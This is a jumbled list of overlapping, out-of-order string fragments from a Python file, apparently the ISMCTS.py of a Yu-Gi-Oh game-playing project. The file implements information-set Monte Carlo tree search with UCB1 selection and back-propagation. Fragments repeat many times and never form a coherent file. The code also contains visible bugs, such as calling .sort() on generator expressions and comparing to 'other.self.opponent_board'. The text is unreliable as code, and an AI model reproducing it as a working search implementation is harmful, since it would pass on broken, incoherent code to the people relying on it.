"def __init__(self, player, opponent, turn_number, is_player_turn): self.player = player self.opponent = opponent self.info_set",
"in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\"",
"self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal = True else: self.terminal =",
"== 0 or self.opponent.life_points == 0: self.terminal = True else: self.terminal = False",
"current_node = node while current_node != None: #print \"Iterating through back propogation\" current_node.sims",
"__init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node = post_node self.turn = pre_node.turn",
"pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\",",
"__ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o in",
"= edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2)",
"+ \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root):",
"return False def __ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id",
"def select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf():",
"(o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return",
"turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action)",
"if is_player_turn: self.turn = player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if",
"0 for edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score,",
"not edges: current_node = None else: edge = edges.pop(-1) current_node = edge.pre_node def",
"is_player_turn): self.player = player self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number =",
"if not edges: current_node = None else: edge = edges.pop(-1) current_node = edge.pre_node",
"turn_number, is_player_turn): self.player = player self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number",
"current_node.sims += 1 if player_wins: current_node.wins += 1 if not edges: current_node =",
"post_node = Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node)",
"node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing ISMCTS') while",
"self.sims = 0 self.wins = 0 self.edges = [] if is_player_turn: self.turn =",
"player, opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board =",
"self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node =",
"import math import numpy as np import logging class Node(): def __init__(self, player,",
"return (self.player_hand == other.player_hand and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and",
"opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal",
"node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score >",
"player, opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge =",
"def __init__(self, root): self.root = root self.tree = set() self.add_node(root) def __len__(self): return",
"= edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def",
"random import math import numpy as np import logging class Node(): def __init__(self,",
"str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root = root self.tree = set() self.add_node(root)",
"0: return False else: return True class Edge(): def __init__(self, pre_node, post_node, action):",
"edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def expand(self,",
"actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) > 0: return False else: return",
"= opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand",
"self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge max_score = ucb1_score",
"np import logging class Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player =",
"= turn_number self.sims = 0 self.wins = 0 self.edges = [] if is_player_turn:",
"= opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points == 0:",
"return actions def isLeaf(self): if len(self.edges) > 0: return False else: return True",
"> 0: return False else: return True class Edge(): def __init__(self, pre_node, post_node,",
"== other.self.opponent_board) return False def __ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids",
"False def __ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for",
"return current_node, edges def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node =",
"True class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node =",
"if self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal = True else: self.terminal",
"1 if player_wins: current_node.wins += 1 if not edges: current_node = None else:",
"= self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge max_score =",
"str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids))",
"\":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root = root self.tree =",
"in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if",
"float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge",
"#edge_choice = random.choice(current_node.edges) max_score = 0 for edge in current_node.edges: node_score = (edge.pre_node.wins",
"__init__(self, root): self.root = root self.tree = set() self.add_node(root) def __len__(self): return len(self.tree)",
"else: self.terminal = False def get_actions(self): actions = [] for edge in self.edges:",
"= pre_node self.post_node = post_node self.turn = pre_node.turn self.action = action class InfoSet():",
"True else: self.terminal = False def get_actions(self): actions = [] for edge in",
"= node while current_node != None: #print \"Iterating through back propogation\" current_node.sims +=",
"self.edges = [] if is_player_turn: self.turn = player else: self.turn = opponent self.set_terminal_status()",
"False def get_actions(self): actions = [] for edge in self.edges: actions.append(edge.action) return actions",
"isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board == other.player_board and self.opponent_hand_size ==",
"import numpy as np import logging class Node(): def __init__(self, player, opponent, turn_number,",
"ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c = .1 return node_score +",
"len(self.edges) > 0: return False else: return True class Edge(): def __init__(self, pre_node,",
"turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def",
"ISMCTS(): def __init__(self, root): self.root = root self.tree = set() self.add_node(root) def __len__(self):",
"\":\" + str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\"",
"for edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims,",
"self.root edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score",
"for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids =",
"self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return",
"= False def get_actions(self): actions = [] for edge in self.edges: actions.append(edge.action) return",
"self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal =",
"is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self,",
"+= 1 if not edges: current_node = None else: edge = edges.pop(-1) current_node",
"\":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS():",
"= player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other,",
"self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points ==",
"(o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids",
"if ucb1_score > max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node =",
"current_node != None: #print \"Iterating through back propogation\" current_node.sims += 1 if player_wins:",
"player_wins: current_node.wins += 1 if not edges: current_node = None else: edge =",
"for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids =",
"player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or",
"__eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board == other.player_board",
"opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node,",
"opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node",
"(o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\"",
"actions def isLeaf(self): if len(self.edges) > 0: return False else: return True class",
"<reponame>mnoyes68/yu-gi-oh<filename>yugioh/ISMCTS.py import random import math import numpy as np import logging class Node():",
"o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id",
"self.terminal = False def get_actions(self): actions = [] for edge in self.edges: actions.append(edge.action)",
"def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node = node",
"return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids",
"= opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and",
"action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating",
"is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge)",
"action class InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand self.player_board = player.board",
"== other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def",
"pre_node.turn self.action = action class InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand",
"back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node = node while",
"+ str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def",
"other.player_hand and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board)",
"else: edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c",
"max_score = 0 for edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score",
"edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c =",
"+ str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root = root self.tree = set()",
"in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for",
"edges: current_node = None else: edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self,",
"o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id",
"= 0 self.wins = 0 self.edges = [] if is_player_turn: self.turn = player",
"+ str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" +",
"opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board",
"= random.choice(current_node.edges) max_score = 0 for edge in current_node.edges: node_score = (edge.pre_node.wins /",
"= opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0 self.wins",
"node_score, total_sims, edge_sims): c = math.sqrt(2) #c = .1 return node_score + (c",
"+ str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root =",
"= 0 self.edges = [] if is_player_turn: self.turn = player else: self.turn =",
"as np import logging class Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player",
"edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def expand(self, pre_node, player, opponent, action,",
"== other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def __ne__(self, other): return not",
"[] if is_player_turn: self.turn = player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self):",
"other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def __ne__(self, other): return not self.__eq__(other)",
"through back propogation\" current_node.sims += 1 if player_wins: current_node.wins += 1 if not",
"current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for edge in current_node.edges: node_score =",
"InfoSet): return (self.player_hand == other.player_hand and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size",
"for edge in self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) > 0:",
"str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids)",
"0 self.wins = 0 self.edges = [] if is_player_turn: self.turn = player else:",
"turn_number self.sims = 0 self.wins = 0 self.edges = [] if is_player_turn: self.turn",
"else: return True class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node = pre_node",
"and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return",
"return edge, post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\"",
"def __hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for",
"= [] if is_player_turn: self.turn = player else: self.turn = opponent self.set_terminal_status() def",
"else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points",
"propogation\" current_node.sims += 1 if player_wins: current_node.wins += 1 if not edges: current_node",
"self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def",
"= edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c = .1",
"(o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids",
"self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False",
"self.tree = set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def",
"\"Iterating through back propogation\" current_node.sims += 1 if player_wins: current_node.wins += 1 if",
"edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c",
"or self.opponent.life_points == 0: self.terminal = True else: self.terminal = False def get_actions(self):",
"in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for",
"opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in",
"return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" +",
"in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" + str(player_grave_ids) +",
"actions = [] for edge in self.edges: actions.append(edge.action) return actions def isLeaf(self): if",
"post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node =",
"+= 1 if player_wins: current_node.wins += 1 if not edges: current_node = None",
"= InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0 self.wins = 0 self.edges",
"while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for edge in current_node.edges:",
"edge, post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node",
"math import numpy as np import logging class Node(): def __init__(self, player, opponent,",
"self.pre_node = pre_node self.post_node = post_node self.turn = pre_node.turn self.action = action class",
"+ \":\" + str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) +",
"other.self.opponent_board) return False def __ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids =",
"self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" + str(player_grave_ids) + \":\"",
"def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing",
"= [] for edge in self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges)",
"self.opponent_board == other.self.opponent_board) return False def __ne__(self, other): return not self.__eq__(other) def __hash__(self):",
"= edge_choice.post_node return current_node, edges def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn):",
"class Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player = player self.opponent =",
"\"Backpropogating with\", len(edges), \"edges\" current_node = node while current_node != None: #print \"Iterating",
"o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id",
"len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges = []",
"= (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort()",
"ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge max_score",
"= (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort()",
"class ISMCTS(): def __init__(self, root): self.root = root self.tree = set() self.add_node(root) def",
"= root self.tree = set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node):",
"edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims)",
"import random import math import numpy as np import logging class Node(): def",
"[] for edge in self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) >",
"ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def expand(self, pre_node, player, opponent,",
"+ \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) +",
"def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board ==",
"if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board == other.player_board and self.opponent_hand_size",
"random.choice(current_node.edges) max_score = 0 for edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims))",
"def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root",
"node while current_node != None: #print \"Iterating through back propogation\" current_node.sims += 1",
"with\", len(edges), \"edges\" current_node = node while current_node != None: #print \"Iterating through",
"return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges =",
"self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand",
"edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score =",
"+ \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root = root self.tree",
"def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c = .1 return node_score",
"= Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return",
"max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node,",
"current_node = self.root edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice =",
"#print \"Backpropogating with\", len(edges), \"edges\" current_node = node while current_node != None: #print",
"max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def expand(self, pre_node,",
"str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root = root",
"__hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o",
"edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node,",
"= (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort()",
"__init__(self, player, opponent, turn_number, is_player_turn): self.player = player self.opponent = opponent self.info_set =",
"= (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) +",
"isLeaf(self): if len(self.edges) > 0: return False else: return True class Edge(): def",
"self.root = root self.tree = set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self,",
"in self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) > 0: return False",
"None else: edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims):",
"set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node",
"def __init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node = post_node self.turn =",
"post_node self.turn = pre_node.turn self.action = action class InfoSet(): def __init__(self, player, opponent):",
"self.tree.add(node) def select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing ISMCTS') while not",
"= None else: edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score, total_sims,",
"def get_actions(self): actions = [] for edge in self.edges: actions.append(edge.action) return actions def",
"hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size)",
"__init__(self, player, opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board",
"self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if",
"current_node, edges def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node = Node(player,",
"opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand ==",
"self.turn = pre_node.turn self.action = action class InfoSet(): def __init__(self, player, opponent): self.player_hand",
"self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o",
"for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids)",
"def __init__(self, player, opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size()",
"self.player = player self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number",
"player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in",
"self.post_node = post_node self.turn = pre_node.turn self.action = action class InfoSet(): def __init__(self,",
"other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board == other.player_board and",
"and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def __ne__(self, other):",
"not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids =",
"!= None: #print \"Iterating through back propogation\" current_node.sims += 1 if player_wins: current_node.wins",
"self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges, player_wins): #print \"Backpropogating with\", len(edges),",
"add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing ISMCTS')",
"= self.root edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges)",
"opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids)",
"== other.player_hand and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board ==",
"def isLeaf(self): if len(self.edges) > 0: return False else: return True class Edge():",
"current_node = edge_choice.post_node return current_node, edges def expand(self, pre_node, player, opponent, action, turn_number,",
"\"edges\" current_node = node while current_node != None: #print \"Iterating through back propogation\"",
"o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) +",
"(self.player_hand == other.player_hand and self.player_board == other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board",
"= ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges def expand(self, pre_node, player,",
"def __ne__(self, other): return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o",
"False else: return True class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node =",
"pre_node, player, opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge",
"def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number,",
"while current_node != None: #print \"Iterating through back propogation\" current_node.sims += 1 if",
"self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def __ne__(self, other): return",
"= set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self):",
"self.wins = 0 self.edges = [] if is_player_turn: self.turn = player else: self.turn",
"/ float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice =",
"class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node = post_node",
"def set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal = True",
"edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node",
"= post_node self.turn = pre_node.turn self.action = action class InfoSet(): def __init__(self, player,",
"opponent.board def __eq__(self, other): if isinstance(other, InfoSet): return (self.player_hand == other.player_hand and self.player_board",
"None: #print \"Iterating through back propogation\" current_node.sims += 1 if player_wins: current_node.wins +=",
"action): self.pre_node = pre_node self.post_node = post_node self.turn = pre_node.turn self.action = action",
"select_sim_node(self): current_node = self.root edges = [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice",
"self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0 self.wins = 0",
"= (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort()",
"[] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for",
"action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node,",
"> max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return",
"self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id",
"(edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice",
"= 0 for edge in current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score =",
"is_player_turn: self.turn = player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points",
"import logging class Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player = player",
"opponent, turn_number, is_player_turn): self.player = player self.opponent = opponent self.info_set = InfoSet(player, opponent)",
"(o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids",
"str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self,",
"edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice)",
"edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node return current_node, edges",
"node, edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node = node while current_node",
"+ \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class",
"self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0",
"for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" +",
"self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) > 0: return False else:",
"edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c = .1 return",
"root): self.root = root self.tree = set() self.add_node(root) def __len__(self): return len(self.tree) def",
"player self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims =",
"player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other): if isinstance(other, InfoSet):",
"== 0: self.terminal = True else: self.terminal = False def get_actions(self): actions =",
"= [] logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0",
"for o in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids =",
